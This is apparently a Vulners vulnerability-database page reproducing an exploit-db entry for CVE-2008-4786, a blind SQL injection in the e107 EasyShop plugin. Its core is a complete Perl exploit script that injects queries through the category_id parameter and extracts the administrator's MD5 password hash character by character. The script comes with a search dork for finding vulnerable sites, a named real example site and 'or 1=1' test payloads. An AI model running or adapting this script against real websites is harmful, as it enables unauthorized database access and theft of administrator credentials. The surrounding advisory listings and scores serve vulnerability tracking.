Lucene search
+L

e107 Plugin EasyShop - 'category_id' Blind SQL Injection

🗓️ 27 Oct 2008 00:00:00Reported by StAkeRType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 48 Views

e107 Plugin EasyShop Blind SQL Injectio

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2008-4786
27 Oct 200800:00
circl
Check Point Advisories
E107 EasyShop Plugin SQL Injection (CVE-2008-4786)
10 Nov 201400:00
checkpoint_advisories
CVE
CVE-2008-4786
29 Oct 200814:00
cve
Cvelist
CVE-2008-4786
29 Oct 200814:00
cvelist
EUVD
EUVD-2008-4766
7 Oct 202500:30
euvd
NVD
CVE-2008-4786
29 Oct 200814:22
nvd
OpenVAS
e107 EasyShop plugin easyshop.php SQL Injection Vulnerability
11 Nov 200800:00
openvas
Prion
Sql injection
29 Oct 200814:22
prion
#!/usr/bin/perl
# ------------------------------------------------------------
# e107 (Plugin EasyShop) Remote Blind SQL Injection Exploit
# By StAkeR[at]hotmail[dot]it
# Dork allinurl: e107_plugins/easyshop/easyshop.php
# Example http://www.clan-designs.co.uk
# easyshop/easyshop.php?choose_category=1&category_id= or 1=1
# easyshop/easyshop.php?choose_category=1&category_id= and 1=2
# ------------------------------------------------------------

use strict;
use warnings;
use LWP::UserAgent;
use URI::Escape;

my ($request,$send,$ord,$hash,$uid) = (undef,undef,undef,undef,1);

my $host = shift @ARGV or die "[?] Usage: perl $0 http://[host]\n";
my @chars = (48..57, 97..102);
my $http = new LWP::UserAgent;

for(0..32)
{
   foreach $ord(@chars)
   {
      $send = " or ascii(substring((select user_password from e107_user where user_id=1),$uid,1))=$ord/*";
      $send = uri_escape($send);

      $request = $http->get($host."/e107_plugins/easyshop/easyshop.php?choose_category=1&category_id=-1".$send);

     if($request->is_success and $request->content !~ /No products available/i)
     {
        $hash .= chr($ord);
        $uid++;
     }
   }
}

if(defined $hash)
{
   print STDOUT "[+] MD5: $hash\n";
   exit;
}
else
{
   print STDOUT "[?] Exploit Failed!\n";
   exit;
}

# milw0rm.com [2008-10-27]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Dec 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.0101
48